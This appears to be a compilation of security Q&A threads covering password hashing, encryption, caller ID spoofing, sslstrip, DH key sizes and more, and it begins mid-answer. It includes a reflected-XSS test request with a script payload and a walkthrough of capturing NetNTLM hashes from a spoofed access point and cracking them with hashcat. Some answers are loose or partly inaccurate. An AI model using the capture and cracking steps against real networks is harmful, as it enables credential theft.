Server compares new hash with stored hash, if matches, user successfully logged in. If they do not match, user is denied access.

What would be a disadvantage to this approach compared to standard approach with transmitting plaintext password over the internet and then hashing and storing it on the server?

In your scheme, you are substituting the password by it's hash. The hash becomes the password. An attacker who is able to sniff the hash can authenticate to your server with it without knowing the password. The attacker just has to craft a correct HTTP request and send it to your server, or edit the javascript of your login webpage in his own browser to reuse the hash he just sniffed.

In the end, hashing the password in the browser just increase the complexity of the authentication protocol without increasing the security in any way.


How does a public key authenticator work? (as opposed to public key signatures) In the documentation for djbs library NaCl under the headline Security model you can read that the library provides public key authentication without non-repudiability (http://nacl.cr.yp.to/box.html). How is this possible when the parties have no shared symmetrical secret?

Skimming the NaCl PDF I think they just generate such a shared secret.

In an interesting fashion:

  Section 5: Alice, using Alice’s secret key a and Bob’s public key B, computes a 32-byte secret k. Bob can compute the same secret using Bob’s secret key b and Alice’s public key A.

Using that shared key they then seed a pseudorandom generator. The first 32 bytes of which are used as the authenticator secret. And the rest of which are used for actual encryption.

DJB's definition

DJB's definition on Google groups:

  What is a public-key authenticator? It's a secret-key authenticator,
  with a key derived from g^xy, where g^x and g^y are the public keys of
  the sender and the receiver.

  If you were already planning to encrypt the message, using another key
  derived from g^xy, then you don't have to do any extra public-key work.
  A secret-key authenticator is easier to implement than a public-key
  signature, and it takes less CPU time to compute.

I guess if he had named it "public-key derived authenticator" instead then the idea might have been more obvious.


Drawback of Multi Level Encryption I am backing up my files to a RAID mirrored HDD, that has full disk encryption (FDE) in place with LUKS. Until now I did this with rsync, but I recently switched to a new backup program that does file level encryption as well.
So my question is: Is there any drawback of having multi levels of encryption, or is it actually an advantage? A drawback I can maybe think of would be managing two keys and forgetting one of them would potentially make my backup completely useless.
EDIT
Due to a follow-up question it's probably important to mention that I am going to use restic as the aforementioned back up application.

From a security perspective, it's an advantage. From a management perspective, you have to weigh how much extra effort it might be. If you're worried about losing keys in general, having two (or ten) probably won't change that risk. Some thought into effective key management will pay dividends. If it's not a bother, I'd go for it.
Super-encryption significantly reduces that chance that an attacker will gain access vs single encryption. They would have to exploit vulnerabilities in both encryption methods, instead of just one, which also reduces 'crimes of opportunity' if a vulnerability becomes known for one of those methods. This only works if using two different encryption methods - using the same one twice might be more or less equivalent to using a larger key.
See the Rule of Two: https://en.wikipedia.org/wiki/Multiple_encryption


Why malwares need to be light I am learning about how malwares work and I read that a lot of them are written in assembly or C to keep the binary size as small as possible.

In an example C++ source code, authors decided to remain mostly with C libraries to avoid the overhead and keep it light.

Why is having a very light binary such an advantage for a malware ?
Does using low level languages like ASM and C help keep it more stealthy ?

a lot of them are written in assembly or C to keep the binary size as small as possible.

It's not about the size, but about external dependency.

Malware is usually written in Assembly or C to minimize external dependency. If a malware is written, let's say, in .Net Framework 4.6.2, and the victim runs Windows XP, it will not work. This is why authors remain mostly with C libraries, as they are usually installed on every computer they want to infect.

A small executable written in Assembly will load and execute way faster than a large executable made with ElectronJS, for example. This maximizes the amount of time the malware can be run without the user detecting something amiss. A large malware consuming lots of memory will stand out if the user goes to Task Manager and looks at the resource consumption.

It will demand way less infrastructure from the C&C servers, so the attackers can rent a cheap hosting server and infect a lot of users, or compromise another server to host the malware. A small size means the owner of the compromised server will not detect the infection for a longer time. A large, 100MB malware being sent to thousands of users will alarm anyone taking care of the server.


Why is caller ID spoofing so simple, and catching offenders so hard? There is plenty of software which allows a user to input a recipient's information, and a fake-originator's information, and the software will complete the caller ID spoof. I'm trying to understand why the telephony stack is so vulnerable to spoofers in regards to caller ID, and why offenders are so hard to catch.

I have minimal formal exposure to the telephony protocols. I have some understanding of how exploits can work. Most of my knowledge can be summed up in the following: "Surely the telephone system must work on some kind of standard, and surely the caller ID function must be at least a part of (if not defined in) that standard."

I'm not looking for step by step exploitation instructions, but more of a understanding of what kind of weakness (and in what protocol) that makes this possible.

The simple answer is that this is not considered a vulnerability - the protocol stack is not designed to authenticate the caller.

From @schroeder's Wikipedia link on Caller ID:

  Additionally, nothing ensures that the number sent by a switch is the actual number where the call originated; the telephone switch initiating the call may send any digit string desired as caller ID.

There are various implementations in place around the world, but even (or especially) in the more recent ones there is functionality to replace actual ID with another one.

The reasons behind this are almost entirely historical - back in the day the call was completed by a human operator physically connecting a cable between caller and receiver. No ID was required. If the operator needed to connect to another operator in a remote state or country, all they would need to inform the other operator is the receiver ID.

As that was modernised, and machines replaced human operators, the process was still the same - a connection was built between based on the receiver ID, as the caller is already connected.

With the continuous move towards traffic being carried over IP rather than analogue lines, identifying information is becoming more available to telcos, so there will come a time when ID information should be available, but there still seems to be a business model for telcos to allow companies to pay for spoofed IDs, and as long as there is money in it - the service is unlikely to go away.


SD card planted in my pocket Today, I found a SD card in my pocket. I've never seen it before and am nearly certain I didn't put it there myself. My suspicion is that someone stealthily planted it there while I was walking through a public space.

I'm just wondering, as someone who is fairly knowledgeable about computers but not particularly familiar  with the security world, if anyone has ever heard of anything like this before. My theory was that it might contain some malware / ransomware that would infect a PC into which the drive was inserted, but that's mainly based on seeing something similar in an episode of Mr. Robot.

I feel like the safest action would be to simply destroy the thing, but for curiosity's sake, is there some way to find out what's actually on it? I was thinking maybe disconnecting my main hard drive and booting a Linux live CD... or could it screw with my system at a lower level even then?

This is a very odd situation but I would take the following steps to understand what is on the card:

Create a clean VM (Windows since this is the most popular OS and if there is malware it is probably compatible with Windows) and disconnect it from the host in every way
Get a SD Card reader and mount it to the VM
Insert the SD Card and see what's on it

If you have a PC you don't care about you an use that too.
But again, the chances of you finding malware on it are low as this is a lot of effort for an attack (unless you are targeted, which I assume you are not).


What can an attacker do to a shared hotspot I regularly create a hotspot from my computer in order to share documents:

cp mydocument.txt /var/www/html/
service apache2 start
nohup nmcli dev wifi hotspot ifname wlan0 con-name documents ssid documents band bg channel 4

Which risk do I take by running this hotspot and what could an attacker potentially do because of this hotspot?

It should be safe since it creates a password. But ensure that you use WPA2 instad or WEP. It's more secure. WEP can be broken more easy with brute-force attack. Check the man pages, it is the password keyword.


Does allowing everyone know when a server process was started pose a security risk? I recently found that in Microsoft .NET framework an impersonated thread is not allowed to request "time at which the current process was started". This could be done intentionally or this could be some implementation deficiency.

Is there any security risk if any code run on a server is able to find when the process this code is running in was started?

Beyond the general "don't tell anybody anything" advice, which is entirely true, there are a couple interesting things about process start time from an attacker's point of view.

if you manage to crash a process, its start time will be reset. You could use that info to figure out which other attacks were working.
some systems have had vulnerabilities where they use the process start time as a seed for crypto random number generation - Netscape had a bug like that a long time back. If you knew a system did that, the process start time would be extremely useful.


What is the risk of downloading files from a non-secured sites I am a programmer. I recently developed an automation tool that periodically downloads couple of files over a non-secured (http) url.

Two files are:

A text file that is very tiny (under 10KB) which has details about
the version, checksum of the main file, the relative path from where to download, size of the file etc.
A compressed (zip) file that contains a bunch of dat files which are actual files of interest.

Now the infosec team is raising questions on downloading the content from a HTTP site instead of HTTPS. The host doesn't support https for whatever reasons. My question is how risky is the content to download from the site considering the following things.

Host is a popular anti-virus product (McAfee: download.nai.com).
It's a direct download without any authentication/authorization.
The files are binary *.dat files which are actually virus definitions of McAfee's command-line tool. These dat files are used internally by this tool.

I am guessing the reason McAfee has put them for public access is to offload overhead caused by using https. My gut feeling is there is no risk because if there was any McAfee would have provided a secured portal to its customers.

The download over HTTP is not a problem by its own but it depends on what you do with the file after the download is relevant:

If you just delete the file: no problem.
If you download an executable from a seemingly trusted site and run it: bad idea since it might have been manipulated during the transit or the attacker made  you access a different server than intended.
If you know from a secure source that the file has a specific hash or signature and verify it successfully after download: the problem of manipulation in transit or wrong server is gone.

In your specific case the files might have some signature which is checked by the program they are intended for. If you do something else with these files and don't check the signature you don't get the related benefits but have to deal with the problem that the download might have been manipulated.

Apart from that: just because something is downloaded over HTTPS it is not automatically safe either. Only the problem that the download might have been manipulated in transit or that you've accessed the attackers server instead is gone. It is still possible that the file was already bad on the trusted server because the server was hacked or that you've blindly connected to some arbitrary server to download some files.


How can I sign an rpm package using a smart card? I have a smart card (not OpenPGP card), and I am preparing to sign an rpm using this card. After signing, I will get two files: my.rpm.sig, and my_id.cer.

How can I sign my rpm using these extra signature and certification file without GPG?

Per https://stackoverflow.com/questions/50622163/rpm-signing-using-x-509-certificatesenter link description here there is no way to sign RPMs with x509 style signatures that will be checked by the standard tools for installing RPMS. If signing x509 style is the important part then your best bet is to distribute the two files alongside the rpm along with instructions to those who care on how to use them to verify the origin of the rpm.

If on the other hand your primary goal is to use the keys on your smartcard rather than avoiding gnupg then you should be able to use gnupg-pkcs11 to enable gnupg to talk to your PKCS#11 token (assuming that is what you smart card is) and add a  PGP signature which can be automatically checked by the standard tools for managing rpms.

Going the other way (using a PGPcard as a PKCS#11 token) is supported by Scute


Why does an iphone require me to enter the passcode and not accept my fingerprints when I switch it on after power off? By not accepting my fingerprints and asking for passcode, how is it more secure? I believe checking fingerprints is a more secure way as compared to entering a passcode.

Since iOS 8, full disk encryption is enabled by default and the passcode is used as key (paired with some secret kept in the phone's HSM so offline bruteforcing is not possible, making it relatively secure even with only a numerical code).

For FDE to work we need something consistent as a key. A passcode fits the bill perfectly, it either matches or doesn't. You also do not need to know the code itself to be able to tell if the entry is correct - an one way hash will still tell you whether the entry was correct while making it extremely difficult to reverse the process and get the code from the hash.

A fingerprint on the other hand is never an exact match. It's always fuzzy and there is a tolerance percentage under which the fingerprint is considered matching, otherwise it's not. Since it's never quite consistent most hashes we use for passwords are out of the way so you have to keep an entire picture of the fingerprint to be able to tell whether the fingerprint is correct, so if someone gets that data it's trivial to make a fake print based on that, whether as with passwords you'd have to bruteforce the hash before you get the actual password.

This also means a fingerprint can't be used as a key for FDE, because it will always be a little different on each scan, or, if the fingerprint image is kept somewhere unencrypted for comparison before revealing the real FDE key then it's insecure because an attacker could just obtain that real key right away (using hardware attacks, exploits, etc).

This is the reason why a passcode is asked on first boot. It decrypts the data partition and keeps the key cached in RAM, where on subsequent unlocks the partition is already mounted and decrypted, and the lock is purely a software restriction. It would also make sense for the phone to keep fingerprint data on the encrypted partition, which means at boot the phone has nothing to compare your fingerprint against to tell if it's correct or not.

Finally fingerprints are not more secure than passwords because you leave them on everything you touch.


Risks of using a webpage without SSL/TLS for donations There is a site called www.mysite.com. It uses Qgiv for taking donations and has some HTML5 data-attributes like:

 data-qgiv-embed="true" data-embed-id="1" data-embed="https://secure.qgiv.com/" >

where the payment information (card details) is collected.

There is no SSL/TLS for www.mysite.com and it is relying on Qgiv for collecting payment information.

Is such a site where I can enter payment information to donate secure? I know Qgiv has a secure certificate, but have not donated in the past to a site not using SSL which uses data-attributes to embed information from Qgiv. The organization used to use Paypal but now has switched to Qgiv.
The organization running the site  is open to feedback from donors, but they need to be told clearly why their current set-up may not be compliant with PCI standards.

If there is no HTTPS on the pages that redirects to Qgiv, a Man-In-The-Middle could intercept the redirection page and replace the redirect to Qgiv with a redirection to the attacker's site.

The attacker's site might use HTTPS and will capture the card details as the user will be unaware whether the site is the legitimate payment gateway or not.

Of course, the attacker will need to be suitably placed, e.g. in a coffee shop on an insecure wireless network. It is recommended to use HTTPS on the whole site to prevent this, in combination with an HSTS policy.


Reflected XSS via JSON executed with Burp, but how to do it in realistic conditions? I am testing a scenario with Burp proxy.

I am located on a website https://website.com/web
There's an option there to delete an item, when you click it , a certain POST request is sent (XMLHttpRequest, no page refresh is happening) where I can insert a <script> tag:

POST /web/deleteItem HTTP/1.1
Host: website.com

returnParameter=<script>alert('xss')</script>

deleteItem method returns the following:

HTTP/1.1 200 OK
Date: Tue, 31 Jan 2017 22:18:54 GMT
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8
...

{"status":"SUCCESS","result":"<script>alert('xss')</script>"}

On a website from step #1 there are JavaScript functions that parse the JSON and show its result value on the screen
alert is being shown on https://website.com/web, so reflected XSS was successfully executed.

But this scenario is not realistic as I need to draw a user to the website and execute the XSS somehow.

I have tried this by making a simple HTML POST form and submitting the parameters to https://website.com/web/deleteItem. Lets say that I would use phishing and user would submit the form.

The action was indeed executed, but I only received a JSON response. There was no page from step #1, so nothing was actually shown as XSS, because the user was not located on https://website.com/web where alert('XSS') should be executed. I am not sure is it possible to send the user to page #1 and send it this JSON with XSS somehow.

Could there be a way to execute this scenario in realistic conditions?

The proposed reflective XSS vulnerability is completely and totally unexploitable by modern browsers due to the following content-type:

Content-Type: application/json;charset=UTF-8

The content-type needs to be HTML, or a missing content type would do the trick. Having a content-type application/json or plain/text are both strong mitigations against XSS.

Content sniffing can be used by old browsers to execute JavaScript despite the defined content-type. As an attacker, if the target browser still uses content sniffing, then the browser is also vulnerable to worse bugs, like drive-by remote code execution.

As @Jeroen pointed out, this is an insecure input validation issue, and although it might not be vulnerable to reflective XSS, it could lead to other problems such as 2nd order code injections, and persistent XSS.


Why does a firewall reencrypt https traffic I have a Sophos XG firewall. I use it at home (to play around with) This firewall is capable to scan HTTPS traffic.
It decrypts the traffic and re-encrypts the traffic again. For the re-encryption of the traffic the firewall uses his own certificate  --> Why?
Wouldn't it be easier to copy the encrypted traffic, decrypt it, scan it and send the (still encrypted) copy of the traffic to the client? Or is this impossible?
I ask this question, because if I use a self-signed certificate for the re-encryption. The browser would display a security warning. I don't want to add the certificate to the client, because I have to give the certificate every visitor in our network.

How could the firewall decrypt the traffic encrypted by a key protected by the end website? If that was possible, then encryption would be meaningless.
TLS Interception
TLS inspection requires that the firewall has the traffic unencrypted. Users use the firewall certificate to encrypt the traffic (so it's protected even in the local network) then the firewall uses its own certificate to decrypt the traffic for inspection. Then it uses the end website's certificate to re-encrypt and sends the traffic on.
Visitors
You have a bigger problem if you want to use TLS interception with visitors. Inspecting visitor traffic breaks a bunch of privacy laws. You should not be inspecting visitor traffic unless you have their permission and they are properly informed (especially in Europe, but also in other jurisdictions).
As part of that "informing" process, you could provide your firewall's certificate, or you could do the much easier thing: provide a visitor wifi network without these controls.
At Home and Playing Around
TLS interception is meant for corporate environments. The Sophos XG firewall is an enterprise firewall, so many of its functions are not designed for home use. So, if you want to play around with it, that's great, but you have to keep its intended use case in mind when you are inconvenienced by using its functions at home.


Files on external drives executable by default with exFAT or NTFS under Ubuntu On Ubuntu, if you use (external) drives formatted as exFAT or NTFS, i.e. not ext4 or something made for the UNIX world, you may end up with a situation where all files are executable.

This is because the file systems may have other concepts of permissions, or none at all. And it is to faciliate sharing between multiple computers. That makes sense.

Usually, you can even adjust this behavior in the mount options. But with the default options, the drives are often auto-mounted with the behavior described above.

Could you consider this a security risk? Especially if it comes to non-technical users, who will only ever use the default mount options (e.g. your grandma whom you switched to Ubuntu).

You could probably say it very much depends on the contents of the drive. But why introduce the risk?

The default is to auto mount the drive in read/write mode. There are no other evaluations or alterations with regard to executability. Nothing is going to auto-run if that's your concern.

Can someone execute a file from a mounted drive, certainly they can. That's the behavior most people want.

There are forensic builds that are configured to mount Read-Only in order to protect against modifications of the mounted device, but it's still possible to execute a file if you choose to do so.

No I don't consider this to be a security risk. Yes, someone can do foolish things within the constraints of their user permissions.

               ----------------

Ah, I see!

FAT16 and FAT32 do not have this behavior. ExFAT and NTFS do indeed mount with 'x' enabled. I had never noticed this before.

Yes this does strike me as potentially dangerous. I'll have to research this as to why it's ocurring.

           --------------

Good answer here:

https://askubuntu.com/questions/11840/how-do-i-use-chmod-on-an-ntfs-or-fat32-partition


How to thwart sslstrip attack? I need help understanding the dynamics of an sslstrip attack. I'm using it to test the security of a site that I own. I can successfully sniff the victim (in this case, myself) credentials over the internet but when the same attack happens against Gmail or MSN traffic I get no stuff back. It is completely static in that case. I'm using a go-daddy certificate to secure my ssl exchange.

Does it mean their ssl is secure and mine is not? Like the rogue ssl cert generated by sslstrip is caught and blocked by their ssl cert security and mine is configured in a insecure mode? Do devices like KEMP load balancer do anything to prevent such attacks?

What do I need to do to prevent my site from such attacks? Thanks.

IIRC, SSLStrip does not do a traditional SSL-MITM attack. What it does is watch HTTP traffic, look for links and redirects to HTTPS traffic, and rewrite those links/redirects to HTTP. A quick look at their website confirms this.

So, you must have some non-ssl page which links/redirects to an ssl page. SSLStrip sees that and changes the link/redirect to a non-secured link/redirect. For example, you might have index.php linking to https://domain.com/login.php. SSLstrip changes it to http://domain.com/login.php. You could verify this by typing into your browser https://domain.com/login.php and see if SSLStrip still sees the username and password (or when you click on the login link, see if it has http or https in the url bar in the browser).

You thwart this attack by

Make your site only SSL.
For whatever webserver you use (Apache, IIS, etc), there should be a way to force certain directories to only be accessable over SSL connections. Make all authenticated content SSL-only. A simple google search should reveal how to do this for a given piece of server software.


Does cPanel store my login password as plaintext On attempt to change my cPanel password I was warned that:

Your password could not be changed because the new password failed with the following reason : (is too similar to the old one), please try again!

Which is correct, my old and new passwords does differ by a single character. However that rises the question how exactly the cPanel code does know my old plain text password. Should not it be hashed?

I just logged into cPanel and when I click to change my password it asks me for three things:

My old password
A new password
Confirmation of the new password

Screen Shot:

It also says that the old password cannot be empty.

This may not be exactly how cPanel does it but, it is a possibility:

Since you have sent it your old password to cPanel it can hash it and see if it is equal to your password while still storing a copy of your unhashed password (in memory not on disk)
Now since it has confirmed your old password hashes to the correct value it can perform tests on the plain text version (that you just barely sent it) and give an error if one of the tests fails
If the new password and confirmation match store the new password.

Answer as to why it knows your old password:

You just gave it to it so it knows your previous password and stores it in RAM (not on disk).  This is assuming that you are referring to your last password (the one that you're currently changing) and not to one that you used in a prior iteration.


Is there a key length definition for DH or DHE? I found this in wiki

  The Finite Field Diffie-Hellman algorithm has roughly the same key strength as RSA for the same key sizes. The work factor for breaking Diffie-Hellman is based on the discrete logarithm problem, which is related to the integer factorization problem on which RSA's strength is based. Thus, a 3072-bit Diffie-Hellman key has about the same strength as a 3072-bit RSA key.

How to define a Diffie-Hellman key length?

According to DH priciple:

Y = g^X mod p

p, g, X, or Y? Which one equals 3072 bit according to wiki's opinion

Key sizes are traditional. By this I mean that there is no universal, mathematically accepted notion of "key size" which will match all algorithms. For symmetric algorithms, it is customary to have keys which are sequences of bits of a given length n, such that all possible sequences of length n (there are 2n of them) are acceptable keys; in which case cryptographers tend to speak of n as "the key size". There is already room for trouble here, with DES, which has 64-bit keys out of which only 56 bits are used, so DES can be said to use 56-bit keys. Similary, 3DES uses a 192-bit key which is in fact a 168-bit key; and, to further the confusion, there is a known algorithm which (theoretically) breaks 3DES in effort 2112 so 3DES is sometimes said to have security level "112 bits". Another troublesome algorithm is RC2, which has an extra "effective key size" parameter which lowers the resistance of RC2 against brute force down to a configurable value, even if the key is longer.

For asymmetric cryptography, things are more complex since public and private keys no longer are "just sequences of bits". For instance, a RSA public key consists of two integers, the modulus and the public exponent. It is traditional to use the size of the modulus as "RSA key size", even though it is not possible to fit an entire RSA public key into a sequence of bits of that size (because there would be no room for the public exponent).

For Diffie-Hellman, the standard is ANSI X9.42. This standard consistently avoids to speak of "the key size". Instead, it always talks of "the size of p" and "the size of q". Both sizes are important for security, but not within the same range. Namely, DH works with numbers modulo a big prime p, and with a generator g. The generator g "generates" a subgroup of integers modulo p: if you consider the successive values 1, g, g2, g3... modulo p, you will get back to 1 at some point. The order of g is the smallest integer k > > 0 such that gk = 1 mod p. Mathematics tell us that k necessarily divides p-1. With these notations:

DH can be broken if discrete logarithm modulo p, with base g, is broken. There are some algorithms whose cost depends on the size of p, so you want p to be big enough to make these algorithms too expensive. The best known algorithm of that type is a variant of the General Number Field Sieve and the current record, for a "random" modulus p is 530 bits (it is possible to craft a special-form modulus p which makes discrete logarithm easier, but a random prime will avoid that with overwhelming probability).
Discrete logarithm can also be broken in a time which depends on both the used exponent size, and the order of k. If, within Diffie-Hellman, a party selects its private exponent in a range of t successive values, and the largest prime factor of k (the order of g) is q, then the algorithms of that type will break DH in a time which depends on the smallest of q and t. These are the "generic" algorithms, whose running time is proportional to the square root of q (or t, if it is smaller).

So basically you have three sizes:

The size of t for DH private key generation: each involved party generates a random DH private key in the 1..t-1 range.
The size of q, which is the largest prime factor of the order k of the generator g.
The size of the modulus p.

In some protocols, q is generated explicitly, thus with a known size, and then p is generated so that p-1 is a multiple of q. Then g is selected to have order exactly q (gq = 1 mod p). In these protocols, we set t = q: q is known, and systems generate private keys in the 1..q-1 range.

In some other protocols, p is generated as a so-called "safe prime", i.e. such that (p-1)/2 is also prime. In that case, p = 2q+1. For these protocols, the DH private keys will be generated in a smaller range t, typically 160 to 256 bits.

In yet some other protocols, q is not known at all, and just assumed to be large enough. This is the case of SSL/TLS (for DHE cipher suites, the Server Key Exchange message contains p and g but not q, so the client does not know q). There again, a range t is used.

We want n-bit security for some n, meaning that breaking the algorithm should have average cost 2n operations. To achieve such a security level, the size of q and the size of t shall be at least 2n bits, but p must be much larger. To give figures, it is generally estimated that if you look for n = 112 (112-bit security, which is what you get for symmetric encryption with 3DES), then you need q and t to be at least 224 bits, but p should be at least 2048 bits.

Summary: when talking about DH, a "big" size like 1024 or 3072 normally means "the size of p", while a "small" size like 160 or 256 normally means "the size of q" or "the size of t". There is no standard for "the size", and indeed the standard does not define a unique one-size-fits-all size.

In your Wikipedia quote, the "3072 bits" is the size of p (the modulus). The value y, which is a DH public key, is in the 1..p-1 range, thus also a number of 3072 bits (or slightly smaller). The private exponent x is chosen in a range 1..t-1 which may be as big as 3072 bits as well (or even bigger) but a much smaller range, down to (say) 256 bits, is perfectly acceptable for security.

As @Polynomial says, see this site for comparisons between key sizes.


Secure implementations of G2/G3/G4 cellular technology It appears that GSM is like any other technology, and is only as secure as its implementation.

What implementations are known to be secure or insecure due to a fault on the implementor's side, or due to the Moore's law and the ability to easily crack the underlying encryption?

The situation is worse than that.  Various political forces led to GSM being weaker than it should have been, and as is often the case with proprietary technologies, the security engineering of GSM was flawed.  Both the A5/1 and A5/2 stream ciphers have been broken, and there are weaknesses in the latest, KASUMI (aka A5/3), despite indications that they knew better than that.  So it seems that any compliant implementation puts users at risk.  This much is clear from  GSM - Wikipedia


Full disk encryption and disk removal Suppose a full-disk-encrypted computer with hot-swappable hard drives is powered on (i.e. decrypted at boot by a trusted user) but is screen-locked.

In such a case, if an attacker with physical access were to remove and walk off with one of the disks (not the whole computer, just a disk), would they have free access to the data stored on it? Like, literally just mount the disk to a separate computer and start browsing? If the answer is yes, is there any way to mitigate this specific scenario?

Caveats: I understand that an attacker with physical access has a myriad of attack vectors other than the one I mentioned, and so "don't allow physical access" is the number one mitigation measure. The only similar question I can find deals with the whole computer being nabbed, not just a disk.

Full Disk Encryption encrypts data at rest.

This is the fundamental part of the technology, and it's why it is used around the world for various governments and their departments.

When you use a drive with FDE, what will typically happen is that data is "decrypted on the fly". It does this by using System Memory (RAM) to temporally hold the encrypted data, and having the CPU/GPU decrypt it.

This means if had raw access to the disk even when you were using the machine, the drive would still be encrypted. Obviously, I could attempt to decrypt it with your encryption key stored in RAM.

So yes, your data is still protected while the computer is "live". The data and encryption key are stored in RAM.


Some questions about port-scans I have two questions and it seems like this website is the perfect place to ask them.

I read a post earlier concerning port scans and one of the answers stated something along the lines of: "There is no definitive protocol that can determine if a host is alive", is this actually true? Surely there must be a way?
This got me thinking; how does port-scanning on a computer outside of your network actually work? Is it even possible just by knowing their public IP?

I read a post earlier concerning port scans and one of the answer stated something along the lines of:"There is no definitive protocol that can determine if a host is alive", is this actually true? Surely there must be a way?

No, and this is a good thing. If I host a server, surely it's my choice who I send data to? I could filter out entire continents if I only want to be able to access my server from, say, The Netherlands if that's the only place I access it from. Unless you happen to scan from the Netherlands, you wouldn't know whether my server is up.

Now that's a server, but what about your laptop? Why should anyone be able to learn whether your laptop is turned on just by knowing its IPv4 or IPv6 address? Most NAT routers and stateful firewalls don't return anything (not even an ICMP Host Unreachable or TCP RST packet) when you try to reach a computer in its network -- and I think that's good design.

If you're in the same LAN, I think there are typically ways to figure it out using arping (ARP ping), but technically you could prevent that from working too if you want to. I just doubt anyone bothers.

  2.This got me thinking; how does port-scanning on a computer outside of your network actually work? Is it even possible just by knowing their public IP?

Oh, I think I half answered this already... I'll dive into this a little deeper.

Port scanning scans ports, but you seem to be asking about checking whether a host is up in the first place.

Usually people access the internet via their router (or modem or something). Strictly speaking a router just routes, but what consumers call a router is a device that does all sorts of stuff (DHCP, DNS, NAT, etc.). Most people only have one IPv4 address due to the shortage and everyone in the local network gets a local address (typically 192.168.x.x). The router performs a function called NAT, which translates between the local address and the public address.

When you connect to some IP address on the Internet, your system sends a SYN packet there and a connection is setup. Your router gets that, and any responses will be forwarded to your computer (based on the port the packet is addressed to). Any SYN packets or UDP packets or something will bounce off because the router wouldn't know which internal host to deliver it to. If you setup port forwarding, this tells the router to always forward certain ports to certain hosts.

If you have IPv6 or a public IPv4 address, the router's firewall will (or should) perform a similar function. It doesn't do address translation because it's not needed (everyone has their own address) but it does filter incoming connections that you didn't initiate. This is a security feature.

So scanning to see whether a certain computer is up won't work because the router just drops anything it doesn't recognize. It might also return ICMP packets saying the address is administratively prohibited (when the firewall is simply active), which doesn't tell you anything either.


list running applications that are linked against a compromised library It's quite common to have security updates arise for various system libraries on servers I administer (Linux, mostly Debian and Ubuntu).  I can run the updates easily enough, but that often leaves running applications still linked against the old versions of the libraries and potentially still vulnerable.

Is there a way to list running applications which are linked against a particular library (probably before running the update), or (much better) to list applications which are linked against library files that are no longer linked in the file system?  (run after the update)

It would be useful to have something I could run in advance of updates, but that doesn't seem to fit into a system maintenance workflow all that easily, and it would be easy to not do it consistently.  It would be better I think to regularly check for running executables linked against libraries that are no longer present in the system.  Maybe that can be pulled out of /proc somehow?

[For about a zillion extra points, provide a solution which also finds such situations for processes running inside containers, virtualenv, etc]

UPDATE: Here's a Bash script that I think does more of what you're asking for.  It will scan currently running processes and list RPM packages that contain libraries that are currently loaded in memory for those processes.

#!/bin/bash

procs=$(find /proc -maxdepth 1 -type d -name "[0-9]*" | sed 's@/proc/@@')

for proc in $procs[*]; do
  if [ ! -f /proc/$proc/cmdline ]; then
    continue
  fi

  cmd=$(cat /proc/$proc/cmdline | sed 's/[\s\n]+//g')

  if [ -z "$cmd" ]; then
    continue
  fi

  echo "**** Scanning pid ($proc): $cmd"
  echo

  echo "Dependent RPM Packages:"
  (
    libs=$(sudo lsof -p $proc -a -d mem 2>/dev/null | awk '{print $NF}' | grep "\.so")
    for lib in $libs; do
      echo $(rpm -qf $lib)
    done
  ) | sort -u
  echo
done

You could write a simple Bash script to figure out which binaries are reliant on a particular library.

To get the list of binaries on disk affected:

#!/bin/bash

dir=$1
lib=$2

for bin in $(find $dir -type f -executable); do
  ldd $bin | grep -q "$lib" && echo $bin
done

Or in the case of running processes on the system you could grep ps -ef instead and use ldd the same way as above.

Depending on your flavor of Linux you could also find how a particular package update affects your system based on the libraries contained within it.

On a CentOS system you could do the following to get the list of shared libraries in a package:

$ rpm -ql zlib | grep "\.so"
/usr/lib64/libz.so.1
/usr/lib64/libz.so.1.2.7

Then you could again use ldd on system binaries to determine which binaries use the listed libraries.


How do I convert from this weird John/Asleap format to lc (for HashCat)? I'm trying to setup a system for pen-testing.  I'm using the FreeRadius-WPE patch to collect Challenges/Requests from people who connect to my spoofed AP instead of the actual network.  Here is the format that FreeRadius-WPE is returning me the credentials:

username: Domain\User
    challenge: 57:82:23:55:cd:68:10:ed
    response: 6d:dc:ac:a6:1e:cb:ea:b7:7f:dc:b4:08:89:30:b6:82:6e:37:15:a4:1e:92:1f:b6
    john NETNTLM: **Domain\User:$NETNTLM$57822355cd6810ed$6ddcaca61ecbeab77fdcb4088930b6826e3715a41e921fb6**

(Most importantly is the line between **'s which is what I send to John/Asleap to crack it)

They're all NTLM v2, so I was hoping to run them through HashCat, but everything I see with HashCat involves some "lc" format that looks like this:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

Where "hashcat" is the password.  I found this information here.

So again, how can I convert from my strange format to this lc one so that I can use it in HashCat?

This hashcat thread claims that simply rearranging the fields should be sufficient - but hashcat only recognizes the resulting hash as NetNTLMv1, not v2.

$ cat john.hash
Domain\User:$NETNTLM$57822355cd6810ed$6ddcaca61ecbeab77fdcb4088930b6826e3715a41e921fb6

$ cat john.hash | perl -ne '/(.*?):\$.*?\$(.*?)\$(.*)/; print "$1::::$3:$2\n";'
Domain\User::::6ddcaca61ecbeab77fdcb4088930b6826e3715a41e921fb6:57822355cd6810ed

... but it's not recognized as NetNTLMv2:

$ hashcat -m 5600 --quiet -O -a 3 hashcat.hash hash?l?l?l
Hashfile 'hashcat.hash' on line 1 (Domain...e3715a41e921fb6:57822355cd6810ed): Salt-length exception
No hashes loaded.

... and I can't crack it as "hashcat" and NetNTLMv1:

$ hashcat -m 5500 --quiet -O -a 3 hashcat.hash hash?l?l?l
$
[no output]


Is there any advantage in encrypting a password hash in my database? I am hashing and storing the salt:hash of each user's password in our database. The web server is ASP.NET and the connection string to the database in web.config is encrypted using the IIS config encryption.

I could also encrypt the salt:hash before storing it. But the encryption key would also be in web.config, also encrypted using the IIS config encryption.

This strikes me as no additional protection. If someone gets the unencrypted connection string from our web.config, then they can get the encryption key too.

Am I missing anything or would this be an extra step for no extra protection?

There are times when an attacker might have access to retrieve data from your database (e.g. SQL Injection) but not have enough access to extract the encryption key from your web.config.  In these situations this practice would add another layer of defense against user credential cracking.

It definitely isn't foolproof since a compromise at the server OS level could allow the attacker to extract encryption keys along with the user database.  An attacker might also be able to run commands through SQL injection that provide access to the web.config data.

Whether it's worthwhile is a judgement call you'll have to make.  It will add some overhead and complexity to your authentication process for a slight security improvement.  If your credential database is compromised you will be able to tell your users that you don't think their passwords were exposed -- assuming you know for sure the key wasn't stolen -- but you'll probably still instruct them to create new passwords to be safe.

